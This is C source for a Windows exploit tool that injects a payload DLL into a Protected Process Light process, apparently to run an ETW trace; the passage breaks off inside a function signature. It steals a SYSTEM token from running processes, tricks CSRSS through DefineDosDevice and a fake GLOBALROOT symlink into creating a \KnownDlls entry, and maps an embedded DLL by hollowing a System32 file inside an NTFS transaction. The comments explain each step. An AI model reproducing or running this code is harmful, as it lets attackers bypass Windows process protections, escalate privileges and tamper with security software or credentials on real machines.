#include "exploit.h" _Success_(return) BOOL StartETWLogger() { BOOL bReturnValue = FALSE; BOOL bCurrentUserIsSystem = FALSE; HANDLE hSystemToken = NULL; BOOL bImpersonationActive = FALSE; // STEP 1 LPCWSTR pwszKnownDllsObjDir = L"\\GLOBAL??\\KnownDlls"; HANDLE hKnownDllsObjDir = NULL; // STEP 2 LPWSTR pwszDllToHijack = NULL; LPWSTR pwszDllLinkName = NULL; HANDLE hDllLink = NULL; SECURITY_DESCRIPTOR sd = { 0 }; SECURITY_ATTRIBUTES sa = { 0 }; // STEP 3 LPCWSTR pwszFakeGlobalrootLinkName = L"\\??\\GLOBALROOT"; LPCWSTR pwszFakeGlobalrootLinkTarget = L"\\GLOBAL??"; HANDLE hFakeGlobalrootLink = NULL; HANDLE hLocalServiceToken = NULL; // STEP 4 LPWSTR pwszDosDeviceName = NULL; LPWSTR pwszDosDeviceTargetPath = NULL; // STEP 5 LPWSTR pwszSectionName = NULL; HANDLE hDllSection = NULL; // STEP 6 LPWSTR pwszCommandLine = NULL; HANDLE hCurrentToken = NULL; HANDLE hNewProcessToken = NULL; PROCESS_INFORMATION newProcessInfo; DWORD dwExitCode = 0; // SYNCHRONIZATION HANDLE hEventDllLoaded = NULL, hEventDumpSuccess = NULL; BOOL bDllLoaded = FALSE, bDumpSuccess = FALSE; WCHAR wszEventName[MAX_PATH] = { 0 }; LPWSTR pwszGuid = NULL; DWORD dwWait = 0; PrintDebug(L"Check requirements\n", bCurrentUserIsSystem); if (!CheckRequirements()) goto end; PrintVerbose(L"[*] Requirements OK\n"); PrintDebug(L"Get the name of the DLL to hijack\n"); if (!GetHijackableDllName(&pwszDllToHijack)) goto end; PrintVerbose(L"[*] DLL to hijack: %ws\n", pwszDllToHijack); if (!IsCurrentUserSystem(&bCurrentUserIsSystem)) goto end; if (g_bDebug) PrintVerbose(L"[*] Current user is SYSTEM? -> %ws\n", bCurrentUserIsSystem ? L"TRUE" : L"FALSE"); // // 1. Create the object directory '\GLOBAL??\KnownDlls'. // // When executed as an administrator, this fails (access denied). Thanks to WinObj, we can // see that Administrators do have the "Add Object" right but the corresponding ACE applies // to child objects only, which means that they cannot add objects in the directory // '\Global??' itself. Therefore, we need to elevate to SYSTEM first. To do so we will // search for SYSTEM tokens among the running processes and steal one. This requires both // SeImpersonatePrivilege and SeDebugPrivilege. // Note: as long as the object is not marked as "permanent", we do not need to remove it // manually. When we close the last handle, the object is removed automatically. // if (!bCurrentUserIsSystem) { if (!ImpersonateSystem(&hSystemToken)) goto end; bImpersonationActive = TRUE; PrintVerbose(L"[*] Impersonating SYSTEM...\n"); } PrintDebug(L"Create object directory '%ws'...\n", pwszKnownDllsObjDir); if (!(hKnownDllsObjDir = ObjectManagerCreateDirectory(pwszKnownDllsObjDir))) goto end; PrintVerbose(L"[*] Created Object Directory: '%ws'\n", pwszKnownDllsObjDir); // // 2. Create a symlink in '\GLOBAL??\KnownDlls\' with the name of a DLL to hijack. The target // of the link doesn't matter. // // The next steps will allow us to trick the CSRSS service into opening the symbolic link // '\GLOBAL??\KnownDlls\FOO.dll' instead of '\KnownDlls\FOO.dll' while impersonating the // caller. That's why we need to create this symbolic link beforehand. As the service will // just open the object itself, its target does not matter. // pwszDllLinkName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)); if (!pwszDllLinkName) goto end; StringCchPrintf(pwszDllLinkName, MAX_PATH, L"%ws\\%ws", pwszKnownDllsObjDir, pwszDllToHijack); PrintDebug(L"Create symbolic link '%ws'...\n", pwszDllLinkName); if (!(hDllLink = ObjectManagerCreateSymlink(pwszDllLinkName, L"foo123"))) goto end; PrintVerbose(L"[*] Created Symbolic link: '%ws'\n", pwszDllLinkName); // // 3. Inside the user's DOS device directory create a new symbolic link called 'GLOBALROOT' // pointing to '\GLOBAL??' // // The idea here is to create a "fake" GLOBALROOT that will point to a location we control // because, at step 4, the CSRSS service will try to open '\??\GLOBALROOT\...' while // impersonating the caller. '\??' represents the current user's DOS device directory. For // SYSTEM, '\??' points to '\GLOBAL??' so '\??\GLOBALROOT' is '\GLOBAL??\GLOBALROOT', which // is the actual GLOBALROOT. Therefore the trick would not work. // However, for users other than SYSTEM, '\??' points to a dedicated DOS device directory // such as '\Sessions\0\DosDevices\00000000-XXXXXXXX'. Therefore, we can create a fake // GLOBALROOT symbolic link that points to an arbitrary location. If we create this link so // that '\Sessions\0\DosDevices\00000000-XXXXXXXX\GLOBALROOT' -> '\GLOBAL??', // '\??\GLOBALROOT' will actually point to '\GLOBAL??' instead of '\GLOBAL??\GLOBALROOT' in // our context. // To summarize: // - If SYSTEM: '\??\GLOBALROOT' -> '' // - Else: '\??\GLOBALROOT' -> '\GLOBAL??' (because of our symbolic link) // Which means that: // - If SYSTEM: '\??\GLOBALROOT\KnownDlls\FOO.DLL' -> '\KnownDlls\FOO.DLL' // - Else: '\??\GLOBALROOT\KnownDlls\FOO.DLL' -> '\GLOBAL??\KnownDlls\FOO.DLL' // // So, at this step, we need to: // - revert to self if we impersonated SYSTEM as an administrator; // - impersonate another user (LOCAL SERVICE for example) if we were running as SYSTEM. // if (bCurrentUserIsSystem) { // // If we are running as SYSTEM, we need to impersonate another user. But, if we do so, the // the impersonated user will not have sufficient access on the symbolic link we just // created and the DefineDosDevice call will fail with an "Access Denied" error. Therefore // we need to edit the ACL of the object first. // InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION); #pragma warning( suppress : 6248 ) // Disable NULL DACL warning as it is intentional here SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE); sa.nLength = sizeof(sa); sa.bInheritHandle = FALSE; sa.lpSecurityDescriptor = &sd; PrintDebug(L"Set a NULL DACL on '%ws'\n", pwszDllLinkName); if (!SetKernelObjectSecurity(hDllLink, DACL_SECURITY_INFORMATION, &sd)) { PrintLastError(L"SetKernelObjectSecurity"); goto end; } if (!ImpersonateLocalService(&hLocalServiceToken)) goto end; bImpersonationActive = TRUE; PrintVerbose(L"[*] Impersonating LOCAL SERVICE...\n"); } else { if (!RevertToSelf()) goto end; bImpersonationActive = FALSE; } PrintDebug(L"Create symbolic link '%ws -> %ws'...\n", pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget); if (!(hFakeGlobalrootLink = ObjectManagerCreateSymlink(pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget))) goto end; PrintVerbose(L"[*] Created symbolic link: '%ws -> %ws'\n", pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget); // // 4. Call DefineDosDevice specifying a device name of "GLOBALROOT\KnownDlls\FOO.DLL" and a target // path of a location that the user can create section objects inside. // // This still need to be executed as a user other than SYSTEM, so that all the symbolic links // are properly followed. This is the "fun" part. DefineDosDevice actually results in an RPC // call to the CSRSS service. On server side, here is how the device name will be interpreted: // a. it receives the device name as the second argument; // >>> GLOBALROOT\KnownDlls\FOO.DLL // b. it will first prepend it with '\??\'; // >>> \??\GLOBALROOT\KnownDlls\FOO.DLL // c. it will try to open the symbolic link while impersonating the client, the call succeeds // because we control this symlink (step 1) // >>> \GLOBAL??\KnownDlls\FOO.DLL (\??\GLOBALROOT -> \GLOBAL??) // d. it checks whether the path starts with \GLOBAL??\ to determine if it's global; // e. as it does, it rewrites the path and prepends it with '\GLOBAL??\', considers the link // as global and disables impersonation; // >>> \GLOBAL??\GLOBALROOT\KnownDlls\FOO.DLL // f. but \GLOBAL??\GLOBALROOT, which is the real GLOBALROOT // >>> \KnownDlls\FOO.DLL // g. if invokes NtCreateSymbolicLinkObject without impersonating the user and therefore // creates a symlink inside '\KnownDlls\' with an arbitrary name and an arbitrary target // path. // // /!\ The purpose of the initial open operation is to delete the symlink and this is always // done while impersonating the user. Therefore we won't be able to delete the symlink // that was created in \KnownDlls\. We will have to remove it once we are running code // inside a PPL with WinTCB level. // pwszDosDeviceName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)); pwszDosDeviceTargetPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)); if (!pwszDosDeviceName || !pwszDosDeviceTargetPath) goto end; StringCchPrintf(pwszDosDeviceName, MAX_PATH, L"GLOBALROOT\\KnownDlls\\%ws", pwszDllToHijack); StringCchPrintf(pwszDosDeviceTargetPath, MAX_PATH, L"\\KernelObjects\\%ws", pwszDllToHijack); PrintDebug(L"Call DefineDosDevice to create '\\KnownDlls\\%ws' -> '%ws'\n", pwszDllToHijack, pwszDosDeviceTargetPath); if (!DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, pwszDosDeviceName, pwszDosDeviceTargetPath)) { PrintLastError(L"DefineDosDevice"); if (!g_bForce || GetLastError() != ERROR_ALREADY_EXISTS) goto end; } PrintVerbose(L"[*] DefineDosDevice OK\n", pwszDllToHijack, pwszDosDeviceTargetPath); // // Make sure the link was really created as a consequence of the DefineDosDevice call. But // first, let's revert to self if we are running as SYSTEM or impersonate SYSTEM again. // if (bCurrentUserIsSystem) { if (!RevertToSelf()) { PrintLastError(L"RevertToSelf"); goto end; } bImpersonationActive = FALSE; } else { PrintDebug(L"Impersonate SYSTEM again\n"); if (!Impersonate(hSystemToken)) goto end; bImpersonationActive = TRUE; PrintVerbose(L"[*] Impersonating SYSTEM...\n"); } PrintDebug(L"Check whether the symbolic link was really created in '\\KnownDlls\\'\n"); if (!CheckKnownDllSymbolicLink(pwszDllToHijack, pwszDosDeviceTargetPath)) { PrintVerbose(L"[-] The symbolic link '\\KnownDlls\\%ws' was not created.\n", pwszDllToHijack); goto end; } PrintVerbose(L"[+] The symbolic link was successfully created: '\\KnownDlls\\%ws' -> '%ws'\n", pwszDllToHijack, pwszDosDeviceTargetPath); // // 5. Create the image section object at the target location for an arbitrary DLL. // // Final piece of the puzzle. Now that we have a symbolic link in \KnownDlls that points to // an arbitrary location, we just have to create a new Section at this location and map our // payload DLL. // pwszSectionName = pwszDosDeviceTargetPath; PrintDebug(L"Map our DLL to section '%ws'\n", pwszSectionName); if (!MapDll(pwszSectionName, &hDllSection)) goto end; PrintVerbose(L"[*] Mapped payload DLL to: '%ws'\n", pwszSectionName); // // Prepare synchronization objects. // MiscGenerateGuidString(&pwszGuid); StringCchPrintf(wszEventName, MAX_PATH, L"Global\\%ws_DLL_LOADED", pwszGuid); if (!(hEventDllLoaded = CreateEvent(NULL, TRUE, FALSE, wszEventName))) PrintLastError(L"CreateEvent"); StringCchPrintf(wszEventName, MAX_PATH, L"Global\\%ws_DUMP_SUCCESS", pwszGuid); if (!(hEventDumpSuccess = CreateEvent(NULL, TRUE, FALSE, wszEventName))) PrintLastError(L"CreateEvent"); StringCchPrintf(wszEventName, MAX_PATH, L"Global\\%ws_STOP_TRACE", pwszGuid); if (!(g_hEventStopTrace = CreateEvent(NULL, TRUE, FALSE, wszEventName))) PrintLastError(L"CreateEvent"); // // 6. Create a PPL process and hijack one of the DLLs it tries to load // // First we need to prepare the command line that we are going to execute. The ID of the // target process to dump and the path of the dump file should respectively be passed as the // first and second argument. // Then we need to get a SYSTEM token to start our new process. If the current process was // started as SYSTEM, we can simply copy this token. If SYSTEM was impersonated, we need to // copy the current thread's token. // Finally, we can start our protected process with the prepared command line and the // duplicated token. // if (bCurrentUserIsSystem) { if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, &hCurrentToken)) { PrintLastError(L"OpenProcessToken"); goto end; } } else { if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, FALSE, &hCurrentToken)) { PrintLastError(L"OpenThreadToken"); goto end; } } PrintDebug(L"Enable privilege %ws\n", SE_ASSIGNPRIMARYTOKEN_NAME); if (!TokenCheckPrivilege(hCurrentToken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE)) goto end; PrintDebug(L"Create a primary token\n"); if (!DuplicateTokenEx(hCurrentToken, MAXIMUM_ALLOWED, NULL, SecurityAnonymous, TokenPrimary, &hNewProcessToken)) { PrintLastError(L"DuplicateTokenEx"); goto end; } if (!PrepareCommandLine(pwszGuid, &pwszCommandLine)) goto end; PrintDebug(L"Creating protected process with command line: %ws\n", pwszCommandLine); if (!CreateProtectedProcessAsUser(hNewProcessToken, pwszCommandLine, &newProcessInfo)) goto end; PrintVerbose(L"[*] Started protected process PID %d, waiting...\n", newProcessInfo.dwProcessId); // Add Ctrl+C if (!SetConsoleCtrlHandler(CtrlCHandler, TRUE)) { PrintLastError(L"SetConsoleCtrlHandler\n"); goto end; } wprintf(L"[*] Trace Process started, press ctrl+c to stop...\n"); WaitForSingleObject(newProcessInfo.hProcess, INFINITE); bDllLoaded = WaitForSingleObject(hEventDllLoaded, 100) == WAIT_OBJECT_0; if (bDllLoaded) wprintf(L"[-] The DLL was successfully loaded into the PPL Process\n"); else wprintf(L"[-] The DLL was not loaded\n"); PrintDebug(L"Unmap section '%ws'...\n", pwszSectionName); UnmapDll(hDllSection); bDumpSuccess = WaitForSingleObject(hEventDumpSuccess, 100) == WAIT_OBJECT_0; if (!GetExitCodeProcess(newProcessInfo.hProcess, &dwExitCode)) { PrintLastError(L"GetExitCodeProcess"); goto end; } PrintDebug(L"Process exit code: %d\n", dwExitCode); if (dwExitCode != 0) wprintf(L"[!] Unexpected exit code: 0x%08lx\n", dwExitCode); if (bDumpSuccess) { wprintf(L"[+] Trace completed :)\n"); } else { wprintf(L"[+] Running trace was not successfull :(\n"); } bReturnValue = bDumpSuccess; end: if (bImpersonationActive) RevertToSelf(); // If impersonation was active, drop it first if (hEventDllLoaded) CloseHandle(hEventDllLoaded); if (hEventDumpSuccess) CloseHandle(hEventDumpSuccess); if (g_hEventStopTrace) CloseHandle(g_hEventStopTrace); if (pwszGuid) LocalFree(pwszGuid); if (hNewProcessToken) CloseHandle(hNewProcessToken); if (pwszCommandLine) LocalFree(pwszCommandLine); if (pwszDosDeviceName) LocalFree(pwszDosDeviceName); if (pwszDosDeviceTargetPath) LocalFree(pwszDosDeviceTargetPath); if (hDllLink) CloseHandle(hDllLink); if (pwszDllLinkName) LocalFree(pwszDllLinkName); if (hKnownDllsObjDir) CloseHandle(hKnownDllsObjDir); if (hLocalServiceToken) CloseHandle(hLocalServiceToken); if (hSystemToken) CloseHandle(hSystemToken); if (pwszDllToHijack) LocalFree(pwszDllToHijack); return bReturnValue; } _Success_(return) BOOL WINAPI CtrlCHandler ( DWORD fdwCtrlType ) { switch (fdwCtrlType) { case CTRL_C_EVENT: PrintVerbose(L"Setting Stop Event\n"); if (!SetEvent(g_hEventStopTrace)) { PrintLastError(L"SetEvent"); } return TRUE; } return FALSE; } _Success_(return) BOOL CheckRequirements() { DWORD dwFailCount = 0; HANDLE hProcessToken = NULL; HANDLE hTargetProcess = NULL; BOOL bIsSystem = FALSE; DWORD dwProcessProtectionLevel = 0; LPWSTR pwszProcessProtectionName = NULL; DWORD dwProcessIntegrityLevel = 0; LPCWSTR ppwszRequiredPrivileges[2] = { SE_DEBUG_NAME, SE_IMPERSONATE_NAME }; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hProcessToken)) { dwFailCount++; } else { for (int i = 0; i < sizeof(ppwszRequiredPrivileges) / sizeof(*ppwszRequiredPrivileges); i++) { if (!TokenCheckPrivilege(hProcessToken, ppwszRequiredPrivileges[i], FALSE)) { dwFailCount++; wprintf(L"[-] A privilege is missing: %ws\n", SE_DEBUG_NAME); } } CloseHandle(hProcessToken); } // Is SYSTEM or admin elevated? IsCurrentUserSystem(&bIsSystem); if (!bIsSystem) { if (!ProcessGetIntegrityLevel(GetCurrentProcessId(), &dwProcessIntegrityLevel)) { dwFailCount++; wprintf(L"[-] Failed to get process integrity level\n"); } else { if (dwProcessIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) { dwFailCount++; wprintf(L"[-] Insufficient process integrity level\n"); } } } // Check windows version >= 8.1 if (!IsWindows8Point1OrGreater()) { dwFailCount++; wprintf(L"[-] This version of Windows is not supported\n"); } #if _WIN64 // // A 64-bits executable cannot run on a 32-bits arch so no check is required here. // #elif _WIN32 // // We need to make sure the system's arch is 32-bits as well because we embed only the x86 version // of our payload DLL. // if (MiscSystemArchIsAmd64()) { dwFailCount++; wprintf(L"[-] This system architecture is not supported. Please use the 64-bits version instead.\n"); } #else dwFailCount++; wprintf(L"[-] This system architecture is not supported.\n"); #endif return dwFailCount == 0; } _Success_(return) BOOL IsCurrentUserSystem(_Out_ PBOOL pbResult) { BOOL bReturnValue = FALSE; HANDLE hProcessToken = NULL; LPWSTR pwszStringSid = NULL; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hProcessToken)) { PrintLastError(L"OpenProcessToken"); goto end; } if (!TokenGetSidAsString(hProcessToken, &pwszStringSid)) goto end; *pbResult = _wcsicmp(pwszStringSid, L"S-1-5-18") == 0; bReturnValue = TRUE; end: if (pwszStringSid) LocalFree(pwszStringSid); if (hProcessToken) CloseHandle(hProcessToken); return bReturnValue; } _Success_(return) BOOL GetHijackableDllName(_Out_ LPWSTR* ppwszDllName) { if (!ppwszDllName) return FALSE; *ppwszDllName = (LPWSTR)LocalAlloc(LPTR, 64 * sizeof(WCHAR)); if (!*ppwszDllName) return FALSE; if (IsWindows10OrGreater()) { StringCchPrintf(*ppwszDllName, 64, L"%ws", DLL_TO_HIJACK_WIN10); return TRUE; } if (IsWindows8Point1OrGreater()) { StringCchPrintf(*ppwszDllName, 64, L"%ws", DLL_TO_HIJACK_WIN81); return TRUE; } LocalFree(*ppwszDllName); return FALSE; } _Success_(return) BOOL GetPayloadDll(_Out_ LPVOID * ppBuffer, _Out_ PDWORD pdwSize) { BOOL bReturnValue = FALSE; HRSRC hResource = NULL; HGLOBAL hResourceData = NULL; DWORD dwResourceSize = 0; LPVOID lpData = NULL; if (!(hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA))) { PrintLastError(L"FindResource"); return FALSE; } if (!(dwResourceSize = SizeofResource(NULL, hResource))) { PrintLastError(L"SizeofResource"); return FALSE; } if (!(hResourceData = LoadResource(NULL, hResource))) { PrintLastError(L"LoadResource"); return FALSE; } if (!(lpData = LockResource(hResourceData))) { PrintLastError(L"LockResource"); return FALSE; } *ppBuffer = lpData; *pdwSize = dwResourceSize; return TRUE; } _Success_(return) BOOL FindFileForTransaction(_In_ DWORD dwMinSize, _Out_ LPWSTR* ppwszFilePath) { BOOL bReturnValue = FALSE; WCHAR wszSearchPath[MAX_PATH] = { 0 }; WCHAR wszFilePath[MAX_PATH] = { 0 }; WIN32_FIND_DATA wfd = { 0 }; HANDLE hFind = NULL; HANDLE hFile = NULL; PSID pSidOwner = NULL; PSECURITY_DESCRIPTOR pSD = NULL; DWORD dwFileSize = 0; PSID pSidTarget = NULL; ConvertStringSidToSid(L"S-1-5-18", &pSidTarget); GetSystemDirectory(wszSearchPath, MAX_PATH); // C:\Windows\System32 StringCchCat(wszSearchPath, MAX_PATH, L"\\*.dll"); // C:\Windows\System32\*.dll if ((hFind = FindFirstFileW(wszSearchPath, &wfd)) != INVALID_HANDLE_VALUE) { do { GetSystemDirectory(wszFilePath, MAX_PATH); StringCchCat(wszFilePath, MAX_PATH, L"\\"); StringCchCat(wszFilePath, MAX_PATH, wfd.cFileName); if (hFile = CreateFile(wszFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) { dwFileSize = GetFileSize(hFile, NULL); if (dwFileSize != INVALID_FILE_SIZE && dwFileSize > dwMinSize) { if (GetSecurityInfo(hFile, SE_FILE_OBJECT, OWNER_SECURITY_INFORMATION, &pSidOwner, NULL, NULL, NULL, &pSD) == ERROR_SUCCESS) { if (TokenCompareSids(pSidOwner, pSidTarget)) { *ppwszFilePath = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR)); if (*ppwszFilePath) { StringCchPrintf(*ppwszFilePath, MAX_PATH, L"%ws", wszFilePath); bReturnValue = TRUE; } } } } CloseHandle(hFile); } } while (FindNextFileW(hFind, &wfd) && !bReturnValue); FindClose(hFind); } return bReturnValue; } _Success_(return) BOOL WritePayloadDllTransacted(_Out_ PHANDLE pdhFile) { // // This implementation was inspired by the DLL Hollowing technique, discussed by @_ForrestOrr // in this blog post: Masking Malicious Memory Artifacts – Part I: Phantom DLL Hollowing // https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing // This trick is awesome! :) // // Here is the idea. Rather than writing our embedded DLL to disk, we open an existing DLL file // as a transaction operation. Then, we replace the content of the DLL with our own. To so, we // search for an existing DLL file in C:\Windows\System32. We assume we are executing this code // as SYSTEM but still, this is not sufficient as we need to open the target file with write // access even though the file will not be modified. As most of the files are owned by Trusted- // Installer, we need to find one which is owned by SYSTEM and also make sure that it is big // enough so that we can copy our own DLL. // // Note: actually, in our case, it doesn't matter whether the target file is a DLL or a regular // file. But hey, this works just fine. ;) // BOOL bReturnValue = FALSE; HRSRC hResource = NULL; HGLOBAL hResourceData = NULL; DWORD dwResourceSize = 0; LPVOID lpData = NULL; LPWSTR pwszTargetFile = NULL; NTSTATUS status = 0; OBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES) }; HANDLE hTransaction = NULL; HANDLE hTransactedFile = NULL; DWORD dwBytesWritten = 0; if (hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA)) { dwResourceSize = SizeofResource(NULL, hResource); if (hResourceData = LoadResource(NULL, hResource)) { lpData = LockResource(hResourceData); } } if (!lpData || !dwResourceSize) return FALSE; PrintDebug(L"Loaded payload DLL, image size: %d bytes\n", dwResourceSize); // // Find a legtimate DLL file to "hollow". It must not be owned by TrustedInstaller and it must // be big enough so that we can copy our payload into the transacted file. // if (!FindFileForTransaction(dwResourceSize, &pwszTargetFile)) return FALSE; PrintDebug(L"Found file for transaction: %ws\n", pwszTargetFile); status = NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, &oa, NULL, NULL, 0, 0, 0, NULL, NULL); if (status != 0) { SetLastError(RtlNtStatusToDosError(status)); PrintLastError(L"NtCreateTransaction"); goto end; } // // Open a legitimate DLL file as a transaction operation. // hTransactedFile = CreateFileTransacted(pwszTargetFile, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL); if (hTransactedFile == INVALID_HANDLE_VALUE) { PrintLastError(L"CreateFileTransacted"); goto end; } PrintDebug(L"Opened file '%ws' for transaction.\n", pwszTargetFile); // // Replace the content of the legitimate file with our own DLL payload. It's important to note // that the file on disk is not altered. // if (!WriteFile(hTransactedFile, lpData, dwResourceSize, &dwBytesWritten, NULL)) { PrintLastError(L"WriteFile"); goto end; } PrintDebug(L"Wrote %d bytes of embedded payload DLL to transacted file.\n", dwBytesWritten, pwszTargetFile); *pdhFile = hTransactedFile; bReturnValue = TRUE; end: if (pwszTargetFile) LocalFree(pwszTargetFile); return bReturnValue; } _Success_(return) BOOL FindProcessTokenAndDuplicate(_In_ LPCWSTR pwszTargetSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount) { BOOL bReturnValue = FALSE; PSID pTargetSid = NULL; PVOID pBuffer = NULL; PSYSTEM_PROCESS_INFORMATION pProcInfo = NULL; HANDLE hProcess = NULL, hToken = NULL, hTokenDup = NULL; DWORD dwReturnedLen = 0, dwBufSize = 0x1000, dwSessionId = 0; PSID pSidTmp = NULL; NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH; LPWSTR pwszUsername = NULL; if (!ConvertStringSidToSid(pwszTargetSid, &pTargetSid)) goto end; while (TRUE) { pBuffer = LocalAlloc(LPTR, dwBufSize); if (!pBuffer || status != STATUS_INFO_LENGTH_MISMATCH) break; status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemProcessInformation, pBuffer, dwBufSize, &dwReturnedLen); if (NT_SUCCESS(status)) { pProcInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer; while (TRUE) { if (hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PtrToUlong(pProcInfo->UniqueProcessId))) { if (OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken)) { if (DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hTokenDup)) { if (TokenGetSid(hTokenDup, &pSidTmp) && TokenGetUsername(hTokenDup, &pwszUsername)) { if (TokenCompareSids(pSidTmp, pTargetSid)) { PrintDebug(L"Found a potential Process candidate: PID=%d - Image='%ws' - User='%ws'\n", PtrToUlong(pProcInfo->UniqueProcessId), pProcInfo->ImageName.Buffer, pwszUsername); BOOL bTokenIsNotRestricted = FALSE; TokenIsNotRestricted(hTokenDup, &bTokenIsNotRestricted); if (bTokenIsNotRestricted) PrintDebug(L"This token is not restricted.\n"); else PrintDebug(L"This token is restricted.\n"); if (bTokenIsNotRestricted) { if (pwszPrivileges && dwPrivilegeCount != 0) { DWORD dwPrivilegeFound = 0; for (DWORD i = 0; i < dwPrivilegeCount; i++) { if (TokenCheckPrivilege(hTokenDup, pwszPrivileges[i], FALSE)) dwPrivilegeFound++; } PrintDebug(L"Found %d/%d required privileges in token.\n", dwPrivilegeFound, dwPrivilegeCount); if (dwPrivilegeFound == dwPrivilegeCount) { PrintDebug(L"Found a valid Token candidate.\n"); *phToken = hTokenDup; bReturnValue = TRUE; } } else { PrintDebug(L"Found a valid Token.\n"); *phToken = hTokenDup; bReturnValue = TRUE; } } } LocalFree(pSidTmp); LocalFree(pwszUsername); } if (!bReturnValue) CloseHandle(hTokenDup); } CloseHandle(hToken); } CloseHandle(hProcess); } // If we found a valid token, stop if (bReturnValue) break; // If next entry is null, stop if (!pProcInfo->NextEntryOffset) break; // Increment SYSTEM_PROCESS_INFORMATION pointer pProcInfo = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pProcInfo + pProcInfo->NextEntryOffset); } } LocalFree(pBuffer); dwBufSize <<= 1; } end: if (pTargetSid) LocalFree(pTargetSid); return bReturnValue; } _Success_(return) BOOL Impersonate(_In_ HANDLE hToken) { HANDLE hThread = GetCurrentThread(); // Pseudo handle, does not need to be closed if (!SetThreadToken(&hThread, hToken)) { PrintLastError(L"SetThreadToken"); return FALSE; } return TRUE; } _Success_(return) BOOL ImpersonateUser(_In_ LPCWSTR pwszSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount) { BOOL bReturnValue = FALSE; HANDLE hCurrentProcessToken = NULL; HANDLE hToken = NULL; HANDLE hCurrentThread = NULL; if (!OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hCurrentProcessToken)) { PrintLastError(L"OpenProcessToken"); goto end; } if (!TokenCheckPrivilege(hCurrentProcessToken, SE_DEBUG_NAME, TRUE)) goto end; if (!TokenCheckPrivilege(hCurrentProcessToken, SE_IMPERSONATE_NAME, TRUE)) goto end; if (!FindProcessTokenAndDuplicate(pwszSid, &hToken, pwszPrivileges, dwPrivilegeCount)) goto end; if (!Impersonate(hToken)) goto end; *phToken = hToken; bReturnValue = TRUE; end: if (hCurrentProcessToken) CloseHandle(hCurrentProcessToken); return bReturnValue; } _Success_(return) BOOL ImpersonateSystem(_Out_ PHANDLE phSystemToken) { LPCWSTR pwszPrivileges[2] = { SE_DEBUG_NAME, SE_ASSIGNPRIMARYTOKEN_NAME }; return ImpersonateUser(L"S-1-5-18", phSystemToken, pwszPrivileges, sizeof(pwszPrivileges) / sizeof(*pwszPrivileges)); } _Success_(return) BOOL ImpersonateLocalService(_Out_ PHANDLE phLocalServiceToken) { return ImpersonateUser(L"S-1-5-19", phLocalServiceToken, NULL, 0); } _Success_(return) BOOL CheckKnownDllSymbolicLink(_In_ LPCWSTR pwszDllName, _In_ LPWSTR pwszTarget) { BOOL bReturnValue = FALSE; NTSTATUS status = 0; LPWSTR pwszLinkName = NULL; OBJECT_ATTRIBUTES oa = { 0 }; UNICODE_STRING name = { 0 }; UNICODE_STRING target = { 0 }; LPWSTR pwszTargetLocal = NULL; HANDLE hLink = NULL; ULONG length = 0; pwszLinkName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR)); if (!pwszLinkName) goto end; pwszTargetLocal = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR)); if (!pwszTargetLocal) goto end; StringCchPrintf(pwszLinkName, MAX_PATH, L"\\KnownDlls\\%ws", pwszDllName); RtlInitUnicodeString(&name, pwszLinkName); InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL); status = NtOpenSymbolicLinkObject(&hLink, SYMBOLIC_LINK_QUERY, &oa); SetLastError(RtlNtStatusToDosError(status)); if (status != 0) { PrintLastError(L"NtOpenSymbolicLinkObject"); goto end; } target.Buffer = pwszTargetLocal; target.Length = 0; target.MaximumLength = MAX_PATH * sizeof(WCHAR); status = NtQuerySymbolicLinkObject(hLink, &target, &length); SetLastError(RtlNtStatusToDosError(status)); if (status != 0) { PrintLastError(L"NtQuerySymbolicLinkObject"); goto end; } bReturnValue = _wcsicmp(target.Buffer, pwszTarget) == 0; end: if (pwszLinkName) LocalFree(pwszLinkName); if (pwszTargetLocal) LocalFree(pwszTargetLocal); if (hLink) CloseHandle(hLink); return bReturnValue; } _Success_(return) BOOL MapDll(_In_ 